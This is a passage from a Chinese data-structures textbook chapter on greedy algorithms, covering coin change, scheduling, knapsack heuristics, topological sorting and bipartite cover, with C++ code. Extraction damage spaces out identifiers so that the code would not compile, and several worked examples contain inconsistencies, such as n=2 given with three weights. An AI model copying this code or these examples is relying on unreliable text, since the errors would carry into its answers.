例1-3 [最小代价通讯网络] 城市及城市之间所有可能的通信连接可被视作一个无向图，图的每条边都被赋予一个权值，权值表示建成由这条边所表示的通信连接所要付出的代价。包含图中所有顶点（城市）的连通子图都是一个可行解。设所有的权值都非负，则所有可能的可行解都可表示成无向图的一组生成树，而最优解是其中具有最小代价的生成树。

在这个问题中，需要选择一个无向图中的边集合的子集，这个子集必须满足如下限制条件：所有的边构成一个生成树。而优化函数是子集中所有边的权值之和。

1.2 算法思想

在贪婪算法（greedy method）中采用逐步构造最优解的方法。在每个阶段，都作出一个看上去最优的决策（在一定的标准下）。决策一旦作出，就不可再更改。作出贪婪决策的依据称为贪婪准则（greedy criterion）。

例1-4 [找零钱] 一个小孩买了价值少于1美元的糖，并将1美元的钱交给售货员。售货员希望用数目最少的硬币找给小孩。假设提供了数目不限的面值为2 5美分、1 0美分、5美分、及1美分的硬币。售货员分步骤组成要找的零钱数，每次加入一个硬币。选择硬币时所采用的贪婪准则如下：每一次选择应使零钱数尽量增大。为保证解法的可行性（即：所给的零钱等于要找的零钱数），所选择的硬币不应使零钱总数超过最终所需的数目。

假设需要找给小孩6 7美分，首先入选的是两枚2 5美分的硬币，第三枚入选的不能是2 5美分的硬币，否则硬币的选择将不可行（零钱总数超过6 7美分），第三枚应选择1 0美分的硬币，然后是5美分的，最后加入两个1美分的硬币。

贪婪算法有种直觉的倾向，在找零钱时，直觉告诉我们应使找出的硬币数目最少（至少是接近最少的数目）。可以证明采用上述贪婪算法找零钱时所用的硬币数目的确最少（见练习1）。

例1-5 [机器调度] 现有n 件任务和无限多台的机器，任务可以在机器上得到处理。每件任务的开始时间为si，完成时间为fi ，si < fi 。[si , fi ] 为处理任务i 的时间范围。两个任务i，j 重指两个任务的时间范围区间有重叠，而并非是指i，j 的起点或终点重合。例如：区间[ 1，4 ]与区间[ 2，4 ]重叠，而与区间[ 4，7 ]不重叠。一个可行的任务分配是指在分配中没有两件重叠的任务分配给同一台机器。因此，在可行的分配中每台机器在任何时刻最多只处理一个任务。最优分配是指使用的机器最少的可行分配方案。

假设有n= 7件任务，标号为a 到g。它们的开始与完成时间如图13-1a 所示。若将任务a分给机器M1，任务b 分给机器M2，. . .，任务g 分给机器M7，这种分配是可行的分配，共使用了七台机器。但它不是最优分配，因为有其他分配方案可使利用的机器数目更少，例如：可以将任务a、b、d分配给同一台机器，则机器的数目降为五台。

一种获得最优分配的贪婪方法是逐步分配任务。每步分配一件任务，且按任务开始时间的非递减次序进行分配。若已经至少有一件任务分配给某台机器，则称这台机器是旧的；若机器非旧，则它是新的。在选择机器时，采用以下贪婪准则：根据欲分配任务的开始时间，若此时有旧的机器可用，则将任务分给旧的机器。否则，将任务分配给一台新的机器。

根据例子中的数据，贪婪算法共分为n = 7步，任务分配的顺序为a、f、b、c、g、e、d。第一步没有旧机器，因此将a 分配给一台新机器（比如M1）。这台机器在0到2时刻处于忙状态。在第二步，考虑任务f。由于当f 启动时旧机器仍处于忙状态，因此将f 分配给一台新机器(设为M2 )。第三步考虑任务b, 由于旧机器M1在Sb = 3时刻已处于闲状态，因此将b分配给M1执行，M1下一次可用时刻变成fb = 7，M2的可用时刻变成ff = 5。第四步，考虑任务c。由于没有旧机器在Sc = 4时刻可用，因此将c 分配给一台新机器（M3），这台机器下一次可用时间为fc = 7。第五步考虑任务g，将其分配给机器M2，第六步将任务e 分配给机器M1, 最后在第七步，任务2分配给机器M3。（注意：任务d 也可分配给机器M2）。

上述贪婪算法能导致最优机器分配的证明留作练习（练习7）。可按如下方式实现一个复杂性为O (nl o gn)的贪婪算法：首先采用一个复杂性为O (nl o gn)的排序算法（如堆排序）按Si 的递增次序排列各个任务，然后使用一个关于旧机器可用时间的最小堆。

例1-6 [最短路径] 给出一个有向网络，路径的长度定义为路径所经过的各边的耗费之和。要求找一条从初始顶点s 到达目的顶点d 的最短路径。

贪婪算法分步构造这条路径，每一步在路径中加入一个顶点。假设当前路径已到达顶点q，

且顶点q 并不是目的顶点d。加入下一个顶点所采用的贪婪准则为：选择离q 最近且目前不在路径中的顶点。

这种贪婪算法并不一定能获得最短路径。例如，假设在图1 3 - 2中希望构造从顶点1到顶点5的最短路径，利用上述贪婪算法，从顶点1开始并寻找目前不在路径中的离顶点1最近的顶点。到达顶点3，长度仅为2个单位，从顶点3可以到达的最近顶点为4，从顶点4到达顶点2，最后到达目的顶点5。所建立的路径为1 , 3 , 4 , 2 , 5，其长度为1 0。这条路径并不是有向图中从1到5的最短路径。事实上，有几条更短的路径存在，例如路径1，4，5的长度为6。

根据上面三个例子，回想一下前几章所考察的一些应用，其中有几种算法也是贪婪算法。例如，霍夫曼树算法，利用n- 1步来建立最小加权外部路径的二叉树，每一步都将两棵二叉树合并为一棵，算法中所使用的贪婪准则为：从可用的二叉树中选出权重最小的两棵。L P T调度规则也是一种贪婪算法，它用n 步来调度n 个作业。首先将作业按时间长短排序，然后在每一步中为一个任务分配一台机器。选择机器所利用的贪婪准则为：使目前的调度时间最短。将新作业调度到最先完成的机器上（即最先空闲的机器）。

注意到在机器调度问题中，贪婪算法并不能保证最优，然而，那是一种直觉的倾向且一般情况下结果总是非常接近最优值。它利用的规则就是在实际环境中希望人工机器调度所采用的规则。算法并不保证得到最优结果，但通常所得结果与最优解相差无几，这种算法也称为启发式方法（ h e u r i s t i c s )。因此L P T方法是一种启发式机器调度方法。定理9 - 2陈述了L P T调度的完成时间与最佳调度的完成时间之间的关系，因此L P T启发式方法具有限定性

能（ bounded performance ）。具有限定性能的启发式方法称为近似算法（ a p p r o x i m a t i o na l g o r i t h m）。

本章的其余部分将介绍几种贪婪算法的应用。在有些应用中，贪婪算法所产生的结果总是最优的解决方案。但对其他一些应用，生成的算法只是一种启发式方法，可能是也可能不是近似算法。

练习

1. 证明找零钱问题（例1 3 - 4）的贪婪算法总能产生具有最少硬币数的零钱。

2. 考虑例1 3 - 4的找零钱问题，假设售货员只有有限的2 5美分， 1 0美分， 5美分和1美分的硬币，给出一种找零钱的贪婪算法。这种方法总能找出具有最少硬币数的零钱吗？证明结论。

3. 扩充例1 3 - 4的算法，假定售货员除硬币外还有50, 20, 10, 5, 和1美元的纸币，顾客买价格为x 美元和y 美分的商品时所付的款为u 美元和v 美分。算法总能找出具有最少纸币与硬币数目的零钱吗？证明结论。

4. 编写一个C + +程序实现例1 3 - 4的找零钱算法。假设售货员具有面值为1 0 0，2 0，1 0，5和1美元的纸币和各种硬币。程序可包括输入模块（即输入所买商品的价格及顾客所付的钱数），输出模块（输出零钱的数目及要找的各种货币的数目）和计算模块（计算怎样给出零钱）。

5. 假设某个国家所使用硬币的币值为1 4 , 2 , 5和1分，则例1 3 - 4的贪婪算法总能产生具有最少硬币数的零钱吗？证明结论。

6. 1) 证明例1 3 - 5的贪婪算法总能找到最优任务分配方案。

2) 实现这种算法，使其复杂性为O (nl o gn)（提示：根据完成时间建立最小堆）。

*7. 考察例1 3 - 5的机器调度问题。假定仅有一台机器可用，那么将选择最大数量的任务在这台机器上执行。例如，所选择的最大任务集合为{a,b,e}。解决这种任务选择问题的贪婪算法可按步骤选择任务，每步选择一个任务，其贪婪准则如下：从剩下的任务中选择具有最小的完成时间且不会与现有任务重叠的任务。

1) 证明上述贪婪算法能够获得最优选择。

2) 实现该算法，其复杂性应为O(nl o gn)。（提示：采用一个完成时间的最小堆）

1.3 应用

1.3.1 货箱装船

这个问题来自例1 - 2。船可以分步装载，每步装一个货箱，且需要考虑装载哪一个货箱。根据这种思想可利用如下贪婪准则：从剩下的货箱中，选择重量最小的货箱。这种选择次序可以保证所选的货箱总重量最小，从而可以装载更多的货箱。根据这种贪婪策略，首先选择最轻的货箱，然后选次轻的货箱，如此下去直到所有货箱均装上船或船上不能再容纳其他任何一个货箱。

例1-7 假设n =8, [w1 , ... w8 ]=[100,200,50,90,150,50,20,80], c= 4 0 0。利用贪婪算法时，所考察货箱的顺序为7 , 3 , 6 , 8 , 4 , 1 , 5 , 2。货箱7 , 3 , 6 , 8 , 4 , 1的总重量为3 9 0个单位且已被装载，剩下的装载能力为1 0个单位，小于剩下的任何一个货箱。在这种贪婪解决算法中得到[x1 , ..., x8 ] = [ 1 , 0 , 1 , 1 , 0 , 1 , 1 , 1 ]且&aring;xi = 6。

定理1-1 利用贪婪算法能产生最佳装载。

证明可以采用如下方式来证明贪婪算法的最优性：令x = [x1 , ..., xn ]为用贪婪算法获得的解，令y =[ y1 , ..., yn ]为任意一个可行解，只需证明n &aring;i= 1xi ≥n &aring;i= 1yi 。不失一般性，可以假设货箱都排好了序：即wi≤wi + 1（1≤i≤n）。然后分几步将y 转化为x，转换过程中每一步都产生一个可行的新y，且n &aring;i = 1yi 大于等于未转化前的值，最后便可证明n &aring;i = 1xi ≥n &aring;j = 1yi 。

根据贪婪算法的工作过程，可知在[0, n] 的范围内有一个k，使得xi =1, i≤k且xi =0, i>k。寻找[ 1 ,n]范围内最小的整数j，使得xj≠yj 。若没有这样的j 存在，则n &aring;i= 1xi =n &aring;i = 1yi 。如果有这样的j 存在，则j≤k，否则y 就不是一个可行解，因为xj≠yj ，xj = 1且yj = 0。令yj = 1，若结果得到的y 不是可行解，则在[ j+ 1 ,n]范围内必有一个l 使得yl = 1。令yl = 0，由于wj≤wl ，则得到的y 是可行的。而且，得到的新y 至少与原来的y 具有相同数目的1。

经过数次这种转化，可将y 转化为x。由于每次转化产生的新y 至少与前一个y 具有相同数目的1，因此x 至少与初始的y 具有相同的数目1。货箱装载算法的C + +代码实现见程序1 3 - 1。由于贪婪算法按货箱重量递增的顺序装载，程序1 3 - 1首先利用间接寻址排序函数I n d i r e c t S o r t对货箱重量进行排序（见3 . 5节间接寻址的定义），随后货箱便可按重量递增的顺序装载。由于间接寻址排序所需的时间为O (nl o gn)（也可利用9 . 5 . 1节的堆排序及第2章的归并排序），算法其余部分所需时间为O (n)，因此程序1 3 - 1的总的复杂性为O (nl o gn)。

程序13-1 货箱装船

template<class T>

void ContainerLoading(int x[], T w[], T c, int n)

{// 货箱装船问题的贪婪算法

// x[i] = 1 当且仅当货箱i被装载， 1<=i<=n

// c是船的容量, w 是货箱的重量

// 对重量按间接寻址方式排序

// t 是间接寻址表

int *t = new int [n+1];

I n d i r e c t S o r t ( w, t, n);

// 此时, w[t[i]] <= w[t[i+1]], 1<=i<n

// 初始化x

for (int i = 1; i <= n; i++)

x[i] = 0;

// 按重量次序选择物品

for (i = 1; i <= n && w[t[i]] <= c; i++) {

x[t[i]] = 1;

c -= w[t[i]];} // 剩余容量

delete [] t;

}

1.3.2 0/1背包问题

在0 / 1背包问题中，需对容量为c 的背包进行装载。从n 个物品中选取装入背包的物品，每件物品i 的重量为wi ，价值为pi 。对于可行的背包装载，背包中物品的总重量不能超过背包的容量，最佳装载是指所装入的物品价值最高，即n &aring;i=1pi xi 取得最大值。约束条件为n &aring;i =1wi xi≤c 和xi&Icirc;[ 0 , 1 ] ( 1≤i≤n)。

在这个表达式中，需求出xt 的值。xi = 1表示物品i 装入背包中，xi =0 表示物品i 不装入背包。0 / 1背包问题是一个一般化的货箱装载问题，即每个货箱所获得的价值不同。货箱装载问题转化为背包问题的形式为：船作为背包，货箱作为可装入背包的物品。

例1-8 在杂货店比赛中你获得了第一名，奖品是一车免费杂货。店中有n 种不同的货物。规则规定从每种货物中最多只能拿一件，车子的容量为c，物品i 需占用wi 的空间，价值为pi 。你的目标是使车中装载的物品价值最大。当然，所装货物不能超过车的容量，且同一种物品不得拿走多件。这个问题可仿照0 / 1背包问题进行建模，其中车对应于背包，货物对应于物品。

0 / 1背包问题有好几种贪婪策略，每个贪婪策略都采用多步过程来完成背包的装入。在每一步过程中利用贪婪准则选择一个物品装入背包。一种贪婪准则为：从剩余的物品中，选出可以装入背包的价值最大的物品，利用这种规则，价值最大的物品首先被装入（假设有足够容量），然后是下一个价值最大的物品，如此继续下去。这种策略不能保证得到最优解。例如，考虑n=2, w=[100,10,10], p =[20,15,15], c = 1 0 5。当利用价值贪婪准则时，获得的解为x= [ 1 , 0 , 0 ]，这种方案的总价值为2 0。而最优解为[ 0 , 1 , 1 ]，其总价值为3 0。

另一种方案是重量贪婪准则是：从剩下的物品中选择可装入背包的重量最小的物品。虽然这种规则对于前面的例子能产生最优解，但在一般情况下则不一定能得到最优解。考虑n= 2 ,w=[10,20], p=[5,100], c= 2 5。当利用重量贪婪策略时，获得的解为x =[1,0], 比最优解[ 0 , 1 ]要差。

还可以利用另一方案，价值密度pi /wi 贪婪算法，这种选择准则为：从剩余物品中选择可

装入包的pi /wi 值最大的物品，这种策略也不能保证得到最优解。利用此策略试解n= 3 ,w=[20,15,15], p=[40,25,25], c=30 时的最优解。

我们不必因所考察的几个贪婪算法都不能保证得到最优解而沮丧， 0 / 1背包问题是一个N P-复杂问题。对于这类问题，也许根本就不可能找到具有多项式时间的算法。虽然按pi /wi 非递（增）减的次序装入物品不能保证得到最优解，但它是一个直觉上近似的解。我们希望它是一个好的启发式算法，且大多数时候能很好地接近最后算法。在6 0 0个随机产生的背包问题中，用这种启发式贪婪算法来解有2 3 9题为最优解。有5 8 3个例子与最优解相差1 0 %，所有6 0 0个答案与最优解之差全在2 5 %以内。该算法能在O (nl o gn)时间内获得如此好的性能。我们也许会问，是否存在一个x (x<1 0 0 )，使得贪婪启发法的结果与最优值相差在x%以内。答案是否定的。为说明这一点，考虑例子n =2, w = [ 1 ,y], p= [ 1 0 , 9y], 和c= y。贪婪算法结果为x=[1,0], 这种方案的值为1 0。对于y≥1 0 / 9，最优解的值为9 y。因此，贪婪算法的值与最优解的差对最优解的比例为( ( 9y - 1 0)/9y* 1 0 0 ) %，对于大的y，这个值趋近于1 0 0 %。但是可以建立贪婪启发式方法来提供解，使解的结果与最优解的值之差在最优值的x% (x<100) 之内。首先将最多k 件物品放入背包，如果这k 件物品重量大于c，则放弃它。否则，剩余的容量用来考虑将剩余物品按pi /wi 递减的顺序装入。通过考虑由启发法产生的解法中最多为k 件物品的所有可能的子集来得到最优解。

例13-9 考虑n =4, w=[2,4,6,7], p=[6,10,12,13], c = 11。当k= 0时，背包按物品价值密度非递减顺序装入，首先将物品1放入背包，然后是物品2，背包剩下的容量为5个单元，剩下的物品没有一个合适的，因此解为x = [ 1 , 1 , 0 , 0 ]。此解获得的价值为1 6。

现在考虑k = 1时的贪婪启发法。最初的子集为{ 1 } , { 2 } , { 3 } , { 4 }。子集{ 1 } , { 2 }产生与k= 0时相同的结果，考虑子集{ 3 }，置x3 为1。此时还剩5个单位的容量，按价值密度非递增顺序来考虑如何利用这5个单位的容量。首先考虑物品1，它适合，因此取x1 为1，这时仅剩下3个单位容量了，且剩余物品没有能够加入背包中的物品。通过子集{ 3 }开始求解得结果为x = [ 1 , 0 , 1 , 0 ]，获得的价值为1 8。若从子集{ 4 }开始，产生的解为x = [ 1 , 0 , 0 , 1 ]，获得的价值为1 9。考虑子集大小为0和1时获得的最优解为[ 1 , 0 , 0 , 1 ]。这个解是通过k= 1的贪婪启发式算法得到的。

若k= 2，除了考虑k< 2的子集，还必需考虑子集{ 1 , 2 } , { 1 , 3 } , { 1 , 4 } , { 2 , 3 } , { 2 , 4 }和{ 3 , 4 }。首先从最后一个子集开始，它是不可行的，故将其抛弃，剩下的子集经求解分别得到如下结果：[ 1 , 1 , 0 , 0 ] , [ 1 , 0 , 1 , 0 ] , [ 1 , 0 , 0 , 1 ] , [ 0 , 1 , 1 , 0 ]和[ 0 , 1 , 0 , 1 ]，这些结果中最后一个价值为2 3，它的值比k= 0和k= 1时获得的解要高，这个答案即为启发式方法产生的结果。

这种修改后的贪婪启发方法称为k阶优化方法（k - o p t i m a l）。也就是，若从答案中取出k 件物品，并放入另外k 件，获得的结果不会比原来的好，而且用这种方式获得的值在最优值的( 1 0 0 / (k + 1 ) ) %以内。当k= 1时，保证最终结果在最佳值的5 0 %以内；当k= 2时，则在3 3 . 3 3 %以内等等，这种启发式方法的执行时间随k 的增大而增加，需要测试的子集数目为O (nk )，每一个子集所需时间为O (n)，因此当k >0时总的时间开销为O (nk+1 )。实际观察到的性能要好得多。

1.3.3 拓扑排序

一个复杂的工程通常可以分解成一组小任务的集合，完成这些小任务意味着整个工程的完成。例如，汽车装配工程可分解为以下任务：将底盘放上装配线，装轴，将座位装在底盘上，上漆，装刹车，装门等等。任务之间具有先后关系，例如在装轴之前必须先将底板放上装配线。任务的先后顺序可用有向图表示--称为顶点活动（ Activity On Vertex, AOV）网络。有向图的顶点代表任务，有向边(i, j) 表示先后关系：任务j 开始前任务i 必须完成。图1 - 4显示了六个任务的工程，边（ 1 , 4）表示任务1在任务4开始前完成，同样边（ 4 , 6）表示任务4在任务6开始前完成，边（1 , 4）与（4 , 6）合起来可知任务1在任务6开始前完成，即前后关系是传递的。由此可知，边（1 , 4）是多余的，因为边（1 , 3）和（3 , 4）已暗示了这种关系。

在很多条件下，任务的执行是连续进行的，例如汽车装配问题或平时购买的标有“需要装配”的消费品（自行车、小孩的秋千装置，割草机等等）。我们可根据所建议的顺序来装配。在由任务建立的有向图中，边（ i, j）表示在装配序列中任务i 在任务j 的前面，具有这种性质的序列称为拓扑序列（topological orders或topological sequences)。根据任务的有向图建立拓扑序列的过程称为拓扑排序（topological sorting）。图1 - 4的任务有向图有多种拓扑序列，其中的三种为1 2 3 4 5 6，1 3 2 4 5 6和2 1 5 3 4 6，序列1 4 2 3 5 6就不是拓扑序列，因为在这个序列中任务4在3的前面，而任务有向图中的边为（ 3 , 4），这种序列与边（ 3 , 4）及其他边所指示的序列相矛盾。可用贪婪算法来建立拓扑序列。算法按从左到右的步骤构造拓扑序列，每一步在排好的序列中加入一个顶点。利用如下贪婪准则来选择顶点：从剩下的顶点中，选择顶点w，使得w 不存在这样的入边（ v,w），其中顶点v 不在已排好的序列结构中出现。注意到如果加入的顶点w违背了这个准则（即有向图中存在边（ v,w）且v 不在已构造的序列中），则无法完成拓扑排序，因为顶点v 必须跟随在顶点w 之后。贪婪算法的伪代码如图1 3 - 5所示。while 循环的每次迭代代表贪婪算法的一个步骤。

现在用贪婪算法来求解图1 - 4的有向图。首先从一个空序列V开始，第一步选择V的第一个顶点。此时，在有向图中有两个候选顶点1和2，若选择顶点2，则序列V = 2，第一步完成。第二步选择V的第二个顶点，根据贪婪准则可知候选顶点为1和5，若选择5，则V = 2 5。下一步，顶点1是唯一的候选，因此V = 2 5 1。第四步，顶点3是唯一的候选，因此把顶点3加入V

得到V = 2 5 1 3。在最后两步分别加入顶点4和6 ，得V = 2 5 1 3 4 6。

1. 贪婪算法的正确性

为保证贪婪算法算的正确性，需要证明： 1) 当算法失败时，有向图没有拓扑序列； 2) 若

算法没有失败，V即是拓扑序列。2) 即是用贪婪准则来选取下一个顶点的直接结果， 1) 的证明见定理1 3 - 2，它证明了若算法失败，则有向图中有环路。若有向图中包含环qj qj + 1.qk qj , 则它没有拓扑序列，因为该序列暗示了qj 一定要在qj 开始前完成。

定理1-2 如果图1 3 - 5算法失败，则有向图含有环路。

证明注意到当失败时| V |<n, 且没有候选顶点能加入V中，因此至少有一个顶点q1 不在V中，有向图中必包含边（ q2 , q1）且q2 不在V中，否则， q1 是可加入V的候选顶点。同样，必有边（q3 , q2）使得q3 不在V中，若q3 = q1 则q1 q2 q3 是有向图中的一个环路；若q3 ≠q1，则必存在q4 使（q4 , q3）是有向图的边且q4 不在V中，否则，q3 便是V的一个候选顶点。若q4 为q1 , q2 , q3 中的任何一个，则又可知有向图含有环，因为有向图具有有限个顶点数n，继续利用上述方法，最后总能找到一个环路。

2. 数据结构的选择

为将图1 - 5用C + +代码来实现，必须考虑序列V的描述方法，以及如何找出可加入V的候选顶点。一种高效的实现方法是将序列V用一维数组v 来描述的，用一个栈来保存可加入V的候选顶点。另有一个一维数组I n D e g r e e，I n D e g r e e[ j ]表示与顶点j相连的节点i 的数目，其中顶点i不是V中的成员，它们之间的有向图的边表示为（ i, j）。当I n D e g r e e[ j ]变为0时表示j 成为一个候选节点。序列V初始时为空。I n D e g r e e[ j ]为顶点j 的入度。每次向V中加入一个顶点时，所有与新加入顶点邻接的顶点j，其I n D e g r e e[ j ]减1。对于有向图1 - 4，开始时I n D e g r e e [ 1 : 6 ] = [ 0 , 0 , 1 , 3 , 1 , 3 ]。由于顶点1和2的I n D e g r e e值为0，因此它们是可加入V的候选顶点，由此，顶点1和2首先入栈。每一步，从栈中取出一个顶点将其加入V，同时减去与其邻接的顶点的I n D e g r e e值。若在第一步时从栈中取出顶点2并将其加入V，便得到了v [ 0 ] = 2，和I n D e g r e e [ 1 : 6 ] = [ 0 , 0 , 1 , 2 , 0 , 3 ]。由于I n D e g r e e [ 5 ]刚刚变为0，因此将顶点5入栈。

程序1 3 - 2给出了相应的C + +代码，这个代码被定义为N e t w o r k的一个成员函数。而且，它对于有无加权的有向图均适用。但若用于无向图（不论其有无加权）将会得到错误的结果，因为拓扑排序是针对有向图来定义的。为解决这个问题，利用同样的模板来定义成员函数AdjacencyGraph, AdjacencyWGraph，L i n k e d G r a p h和L i n k e d W G r a p h。这些函数可重载N e t w o r k中的函数并可输出错误信息。如果找到拓扑序列，则Topological 函数返回t r u e；若输入的有向图无拓扑序列则返回f a l s e。当找到拓扑序列时，将其返回到v [ 0 :n- 1 ]中。

3. Network:Topological 的复杂性

第一和第三个f o r循环的时间开销为(n )。若使用（耗费）邻接矩阵,则第二个for 循环所用的时间为(n2 )；若使用邻接链表,则所用时间为(n+e)。在两个嵌套的while 循环中，外层循环需执行n次，每次将顶点w 加入到v 中，并初始化内层while 循环。使用邻接矩阵时，内层w h i l e循环对于每个顶点w 需花费(n)的时间；若利用邻接链表，则这个循环需花费dwout 的时间，因此，内层while 循环的时间开销为(n2 )或(n+e)。所以，若利用邻接矩阵，程序1 3 - 2的时间复杂性为(n2 )，若利用邻接链表则为(n+e)。

程序13-2 拓扑排序

bool Network::Topological(int v[])

{// 计算有向图中顶点的拓扑次序

// 如果找到了一个拓扑次序，则返回t r u e，此时，在v [ 0 : n - 1 ]中记录拓扑次序

// 如果不存在拓扑次序，则返回f a l s e

int n = Ve r t i c e s ( ) ;

// 计算入度

int *InDegree = new int [n+1];

InitializePos(); // 图遍历器数组

for (int i = 1; i <= n; i++) // 初始化

InDegree[i] = 0;

for (i = 1; i <= n; i++) {// 从i 出发的边

int u = Begin(i);

while (u) {

I n D e g r e e [ u ] + + ;

u = NextVe r t e x ( i ) ; }

}

// 把入度为０的顶点压入堆栈

LinkedStack<int> S;

for (i = 1; i <= n; i++)

if (!InDegree[i]) S.Add(i);

// 产生拓扑次序

i = 0; // 数组v 的游标

while (!S.IsEmpty()) {// 从堆栈中选择

int w; // 下一个顶点

S . D e l e t e ( w ) ;

v[i++] = w;

int u = Begin(w);

while (u) {// 修改入度

I n D e g r e e [ u ] - - ;

if (!InDegree[u]) S.Add(u);

u = NextVe r t e x ( w ) ; }

}

D e a c t i v a t e P o s ( ) ;

delete [] InDegree;

return (i == n);

}

1.3.4 二分覆盖

二分图是一个无向图，它的n 个顶点可二分为集合A和集合B，且同一集合中的任意两个顶点在图中无边相连（即任何一条边都是一个顶点在集合A中，另一个在集合B中）。当且仅当B中的每个顶点至少与A中一个顶点相连时，A的一个子集A' 覆盖集合B（或简单地说，A' 是一个覆盖）。覆盖A' 的大小即为A' 中的顶点数目。当且仅当A' 是覆盖B的子集中最小的时，A' 为最小覆盖。

例1-10 考察如图1 - 6所示的具有1 7个顶点的二分图，A={1, 2, 3, 16, 17}和B={4, 5, 6, 7, 8, 9,10, 11, 12, 13, 14, 15}，子集A' = { 1 , 1 6 , 1 7 }是B的最小覆盖。在二分图中寻找最小覆盖的问题为二分覆盖（ b i p a r t i t e - c o v e r）问题。在例1 2 - 3中说明了最小覆盖是很有用的，因为它能解决“在会议中使用最少的翻译人员进行翻译”这一类的问题。

二分覆盖问题类似于集合覆盖（ s e t - c o v e r）问题。在集合覆盖问题中给出了k 个集合S= {S1 , S2 ,., Sk }，每个集合Si 中的元素均是全集U中的成员。当且仅当&Egrave;i S'Si =U时，S的子集S' 覆盖U，S '中的集合数目即为覆盖的大小。当且仅当没有能覆盖U的更小的集合时，称S' 为最小覆盖。可以将集合覆盖问题转化为二分覆盖问题（反之亦然），即用A的顶点来表示S1 , ., Sk ，B中的顶点代表U中的元素。当且仅当S的相应集合中包含U中的对应元素时，在A与B的顶点之间存在一条边。

例1 - 11 令S= {S1，. . .，S5 }, U= { 4，5，. . .，15}, S1 = { 4，6，7，8，9，1 3 }，S2 = { 4，5，6，8 }，S3 = { 8，1 0，1 2，1 4，1 5 }，S4 = { 5，6，8，1 2，1 4，1 5 }，S5 = { 4，9，1 0，11 }。S ' = {S1，S4，S5 }是一个大小为3的覆盖，没有更小的覆盖， S' 即为最小覆盖。这个集合覆盖问题可映射为图1-6的二分图，即用顶点1，2，3，1 6和1 7分别表示集合S1，S2，S3，S4 和S5，顶点j 表示集合中的元素j，4≤j≤1 5。

集合覆盖问题为N P-复杂问题。由于集合覆盖与二分覆盖是同一类问题，二分覆盖问题也是N P-复杂问题。因此可能无法找到一个快速的算法来解决它，但是可以利用贪婪算法寻找一种快速启发式方法。一种可能是分步建立覆盖A' ，每一步选择A中的一个顶点加入覆盖。顶点的选择利用贪婪准则：从A中选取能覆盖B中还未被覆盖的元素数目最多的顶点。

例1-12 考察图1 - 6所示的二分图，初始化A' = 且B中没有顶点被覆盖，顶点1和1 6均能覆盖B中的六个顶点，顶点3覆盖五个，顶点2和1 7分别覆盖四个。因此，在第一步往A' 中加入顶点1或1 6，若加入顶点1 6，则它覆盖的顶点为{ 5 , 6 , 8 , 1 2 , 1 4 , 1 5 }，未覆盖的顶点为{ 4 , 7 , 9 , 1 0 , 11 , 1 3 }。顶点1能覆盖其中四个顶点（ { 4 , 7 , 9 , 1 3 }），顶点2 覆盖一个( { 4 } )，顶点3覆盖一个（{ 1 0 }），顶点1 6覆盖零个，顶点1 7覆盖四个{ 4 , 9 , 1 0 , 11 }。下一步可选择1或1 7加入A' 。若选择顶点1，则顶点{ 1 0 , 11} 仍然未被覆盖，此时顶点1，2，1 6不覆盖其中任意一个，顶点3覆盖一个，顶点1 7覆盖两个，因此选择顶点1 7，至此所有顶点已被覆盖，得A' = { 1 6 , 1 , 1 7 }。

图1 - 7给出了贪婪覆盖启发式方法的伪代码，可以证明： 1) 当且仅当初始的二分图没有覆盖时，算法找不到覆盖；2) 启发式方法可能找不到二分图的最小覆盖。

1. 数据结构的选取及复杂性分析

为实现图13 - 7的算法，需要选择A' 的描述方法及考虑如何记录A中节点所能覆盖的B中未覆盖节点的数目。由于对集合A' 仅使用加法运算，则可用一维整型数组C来描述A '，用m 来记录A' 中元素个数。将A' 中的成员记录在C[ 0 :m-1] 中。对于A中顶点i，令N e wi 为i 所能覆盖的B中未覆盖的顶点数目。逐步选择N e wi 值最大的顶点。由于一些原来未被覆盖的顶点现在被覆盖了，因此还要修改各N e wi 值。在这种更新中，检查B中最近一次被V覆盖的顶点，令j 为这样的一个顶点，则A中所有覆盖j 的顶点的N e wi 值均减1。

例1-13 考察图1 - 6，初始时(N e w1 , N e w2 , N e w3 , N e w16 , N e w17 ) = ( 6 , 4 , 5 , 6 , 4 )。假设在例1 - 1 2中，第一步选择顶点1 6，为更新N e wi 的值检查B中所有最近被覆盖的顶点，这些顶点为5 , 6 , 8 , 1 2 , 1 4和1 5。当检查顶点5时，将顶点2和1 6的N e wi 值分别减1，因为顶点5不再是被顶点2和1 6覆盖的未覆盖节点；当检查顶点6时，顶点1 , 2 ,和1 6的相应值分别减1；同样，检查顶点8时，1，2，3和1 6的值分别减1；当检查完所有最近被覆盖的顶点，得到的N e wi 值为（4，1，0，4）。下一步选择顶点1，最新被覆盖的顶点为4，7，9和1 3；检查顶点4时，N e w1 , N e w2, 和N e w1 7 的值减1；检查顶点7时，N e w1 的值减1，因为顶点1是覆盖7的唯一顶点。

为了实现顶点选取的过程，需要知道N e wi 的值及已被覆盖的顶点。可利用一个二维数组来达到这个目的，N e w是一个整型数组，New[i] 即等于N e wi，且c o v为一个布尔数组。若顶点i未被覆盖则c o v [ i ]等于f a l s e，否则c o v [ i ]为t r u e。现将图1 - 7的伪代码进行细化得到图1 - 8。

m=0; //当前覆盖的大小

对于A中的所有i，New[i]=Degree[i]

对于B中的所有i，C o v [ i ] = f a l s e

while (对于A中的某些i,New[i]>0) {

设v是具有最大的N e w [ i ]的顶点；

C [ m + + ] = v ;

for ( 所有邻接于v的顶点j) {

if (!Cov[j]) {

Cov[j]= true;

对于所有邻接于j的顶点，使其N e w [ k ]减1

} } }

if (有些顶点未被覆盖) 失败

else 找到一个覆盖

图1-8 图1-7的细化

更新N e w的时间为O (e)，其中e 为二分图中边的数目。若使用邻接矩阵，则需花(n2 ) 的时间来寻找图中的边，若用邻接链表，则需(n+e) 的时间。实际更新时间根据描述方法的不同为O (n2 ) 或O (n+e)。逐步选择顶点所需时间为(S i z e O f A)，其中S i z e O f A=| A |。因为A的所有顶点都有可能被选择，因此所需步骤数为O ( S i z e O f A )，覆盖算法总的复杂性为O ( S i z e O f A 2+n2) = O ( n2)或O (S i z e Of A2+n + e)。

2. 降低复杂性

通过使用有序数组N e wi、最大堆或最大选择树（max selection tree）可将每步选取顶点v的复杂性降为( 1 )。但利用有序数组，在每步的最后需对N e wi 值进行重新排序。若使用箱子排序，则这种排序所需时间为(S i z e O f B ) ( S i z e O fB =|B| ) （见3 . 8 . 1节箱子排序）。由于一般S i z e O f B比S i z e O f A大得多，因此有序数组并不总能提高性能。

